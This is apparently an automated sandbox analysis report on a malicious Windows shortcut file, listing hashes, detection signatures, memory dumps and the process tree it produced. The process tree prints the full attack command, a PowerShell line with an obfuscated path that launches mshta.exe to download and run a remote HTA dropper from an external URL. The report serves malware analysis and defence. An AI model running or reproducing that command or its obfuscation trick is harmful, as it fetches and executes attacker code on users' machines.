Analysis

  • max time kernel
    152s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/01/2024, 07:37

General

  • Target

    a49746922bdba7a0885c55944ab705a5+af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41.lnk

  • Size

    1KB

  • MD5

    a49746922bdba7a0885c55944ab705a5

  • SHA1

    6ec7db6e71ebfb091b7266b8ce2012ef3d2d714f

  • SHA256

    af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41

  • SHA512

    e17311145ca62f49e0ac1ecc34810a65f1b91cc57c45fe0d2f72494e8106ede54d258a2fd8c16f771eada18574854da8654b533dca7818183f154739849ecbf7

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://24help.ooguy.com/1/1.hta

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\a49746922bdba7a0885c55944ab705a5+af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4248
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'http://24help.ooguy.com/1/1.hta'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4508
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" http://24help.ooguy.com/1/1.hta
        3⤵
        • Blocklisted process makes network request
        PID:1516

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l1oyduij.513.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4508-11-0x00000253EA3F0000-0x00000253EA412000-memory.dmp

    Filesize

    136KB

  • memory/4508-12-0x00007FFC72F00000-0x00007FFC739C1000-memory.dmp

    Filesize

    10.8MB

  • memory/4508-13-0x00000253D0070000-0x00000253D0080000-memory.dmp

    Filesize

    64KB

  • memory/4508-16-0x00007FFC72F00000-0x00007FFC739C1000-memory.dmp

    Filesize

    10.8MB